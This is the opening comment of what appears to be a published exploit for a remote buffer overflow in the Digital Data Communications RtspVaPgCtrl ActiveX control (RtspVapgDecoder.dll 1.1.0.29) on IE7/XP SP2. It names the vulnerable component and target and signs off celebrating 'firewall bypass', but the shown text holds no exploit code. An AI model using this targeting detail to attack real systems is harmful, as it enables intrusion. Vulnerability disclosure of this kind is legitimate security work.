Remote buffer overflow in Digital Data Communications RtspVaPgCtrl class
`<!--  
Digital Data Communications RtspVaPgCtrl Class (RtspVapgDecoder.dll 1.1.0.29)  
remote buffer overflow (ie7/xp sp2)  
  
You may ask why I'm interested in theese untested/unpatched codecs,  
oh, well, I'm preparing a live scanner for clsid's, I mean not a fuzzer  
a framework which *choose* which control to exploit to see what happen,  
not blinding attack a common one. Even attackers have imagination,  
  
  
you know this?  
  
  
Someone should kill-bit theese codecs by os update and let you really  
choose which site can use them... this sound strange, or someone needs a  
backdoor always opened on IE? Oh, don't worry,  
  
joy and firewall bypass to the world.
